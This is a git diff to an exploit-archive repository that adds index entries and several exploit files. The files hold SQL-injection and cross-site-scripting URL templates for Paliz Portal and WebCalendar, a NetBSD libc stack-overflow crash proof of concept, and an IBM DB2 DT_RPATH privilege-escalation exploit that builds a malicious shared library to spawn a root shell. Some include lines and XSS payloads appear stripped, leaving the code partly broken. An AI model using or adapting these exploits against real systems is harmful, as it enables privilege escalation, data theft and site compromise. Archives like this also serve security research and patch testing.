diff --git a/files.csv b/files.csv index cce7b234b..d2293ceef 100755 --- a/files.csv +++ b/files.csv @@ -32358,3 +32358,10 @@ id,file,description,date,author,platform,type,port 35914,platforms/php/webapps/35914.txt,"ferretCMS 1.0.4-alpha - Multiple Vulnerabilities",2015-01-26,"Steffen Rösemann",php,webapps,80 35915,platforms/multiple/webapps/35915.txt,"Symantec Data Center Security - Multiple Vulnerabilities",2015-01-26,"SEC Consult",multiple,webapps,0 35917,platforms/hardware/remote/35917.txt,"D-Link DSL-2740R - Unauthenticated Remote DNS Change Exploit",2015-01-27,"Todor Donev",hardware,remote,0 +35918,platforms/multiple/remote/35918.c,"IBM DB2 'DT_RPATH' Insecure Library Loading Arbitrary Code Execution Vulnerability",2011-06-30,"Tim Brown",multiple,remote,0 +35919,platforms/bsd/remote/35919.c,"NetBSD 5.1 Multiple 'libc/net' Functions Stack Buffer Overflow Vulnerability",2011-07-01,"Maksymilian Arciemowicz",bsd,remote,0 +35920,platforms/php/webapps/35920.txt,"WebCalendar 1.2.3 Multiple Cross Site Scripting Vulnerabilities",2011-07-04,"Stefan Schurtz",php,webapps,0 +35921,platforms/windows/remote/35921.html,"iMesh 10.0 'IMWebControl.dll' ActiveX Control Buffer Overflow Vulnerability",2011-07-04,KedAns-Dz,windows,remote,0 +35922,platforms/php/webapps/35922.txt,"Joomla! 'com_jr_tfb' Component 'controller' Parameter Local File Include Vulnerability",2011-07-05,FL0RiX,php,webapps,0 +35923,platforms/asp/webapps/35923.txt,"Paliz Portal Cross Site Scripting and Multiple SQL Injection Vulnerabilities",2011-07-02,Net.Edit0r,asp,webapps,0 +35924,platforms/windows/remote/35924.py,"ClearSCADA - Remote Authentication Bypass Exploit",2015-01-28,"Jeremy Brown",windows,remote,0 diff --git a/platforms/asp/webapps/35923.txt b/platforms/asp/webapps/35923.txt new file mode 100755 index 000000000..fea49e929 --- /dev/null +++ b/platforms/asp/webapps/35923.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/48559/info + +Paliz Portal is prone to multiple SQL-injection vulnerabilities and a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. + +Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +http://www.example.com/Page.aspx?search=1[XSSCode]&mID=1641&Page=search/advancedsearch +http://www.example.com/News/shownews/[page].aspx?NewsId=[Sqli] +http://www.example.com/[Path]/Default.aspx?tabid=[Sqli] \ No newline at end of file diff --git a/platforms/bsd/remote/35919.c b/platforms/bsd/remote/35919.c new file mode 100755 index 000000000..9d5118b41 --- /dev/null +++ b/platforms/bsd/remote/35919.c @@ -0,0 +1,29 @@ +source: http://www.securityfocus.com/bid/48528/info + +NetBSD is prone to a stack-based buffer-overflow vulnerability affecting multiple functions in the 'libc/net' library. + +Successful exploits may allow an attacker to execute arbitrary code in the context of the application using the affected library. Failed exploit attempts will result in a denial-of-service condition. + +/* +127# gcc -o grr grr.c && ./grr 6050 +127# gcc -o grr grr.c && ./grr 6051 +Memory fault (core dumped) +127# + + +*/ +#include +#include +#include + +int main(int argc, char *argv[]){ + char *cycek; + cycek=malloc(atoi(argv[1])); + + if(!cycek) return 1; + memset(cycek,'A',atoi(argv[1])); + + getservbyname(cycek,"tcp"); + + return 0; +} \ No newline at end of file diff --git a/platforms/multiple/remote/35918.c b/platforms/multiple/remote/35918.c new file mode 100755 index 000000000..45eb6dbde --- /dev/null +++ b/platforms/multiple/remote/35918.c @@ -0,0 +1,69 @@ +source: http://www.securityfocus.com/bid/48514/info + +IBM DB2 is prone to a vulnerability that lets attackers execute arbitrary code. + +An attacker can exploit this issue to gain elevated privileges and execute arbitrary code with root privileges. Successfully exploiting this issue will result in a complete compromise of the affected system. + +IBM DB2 9.7 is vulnerable; other versions may also be affected. + +/* +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this +list of conditions and the following disclaimer. +* Redistributions in binary form must reproduce the above copyright notice, +this list of conditions and the following disclaimer in the documentation +and/or other materials provided with the distribution. +* Neither the name of the Nth Dimension nor the names of its contributors may +be used to endorse or promote products derived from this software without +specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + +(c) Tim Brown, 2011 + + / + +PoC exploit for IBM DB2 DT_RPATH privesc. +*/ + +#include +#include +#include + +int main(int argc, char **argv) { + FILE *badlibkbbsrchandle; + int pwnedflag; + printf("PoC exploit for IBM DB2 DT_RPATH privesc.\r\n"); + printf("(c) Tim Brown, 2011\r\n"); + printf("\r\n"); + printf(" / \r\n"); + printf("Constructing bad_libkbb.so...\r\n"); + badlibkbbsrchandle = fopen("bad_libkbb.c", "w"); + fprintf(badlibkbbsrchandle, "#include \r\n"); + fprintf(badlibkbbsrchandle, "#include \r\n"); + fprintf(badlibkbbsrchandle, "#include \r\n"); + fprintf(badlibkbbsrchandle, "\r\n"); + fprintf(badlibkbbsrchandle, "void __attribute__ ((constructor)) bad_libkbb(void) {\r\n"); + fprintf(badlibkbbsrchandle, " printf(\"Have a root shell...\\r\\n\");\r\n"); + fprintf(badlibkbbsrchandle, " setuid(geteuid());\r\n"); + fprintf(badlibkbbsrchandle, " system(\"/usr/bin/id\");\r\n"); + fprintf(badlibkbbsrchandle, " system(\"/bin/sh\");\r\n"); + fprintf(badlibkbbsrchandle, " exit(0);\r\n"); + fprintf(badlibkbbsrchandle, "}\r\n"); + fclose(badlibkbbsrchandle); + system("gcc -shared -fPIC -o libkbb.so bad_libkbb.c"); + system("/opt/ibm/db2/V9.7/itma/tmaitm6/lx8266/bin/kbbacf1"); + exit(0); +} diff --git a/platforms/php/webapps/35920.txt b/platforms/php/webapps/35920.txt new file mode 100755 index 000000000..0a331927b --- /dev/null +++ b/platforms/php/webapps/35920.txt @@ -0,0 +1,25 @@ +source: http://www.securityfocus.com/bid/48546/info + +WebCalendar is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +WebCalendar 1.2.3 is vulnerable; other versions may also be affected. + +http://www.example.com/webapps/webcalendar/about/"> +http://www.example.com/webapps/webcalendar/about/"> +http://www.example.com/webapps/webcalendar/datesel.php?form=">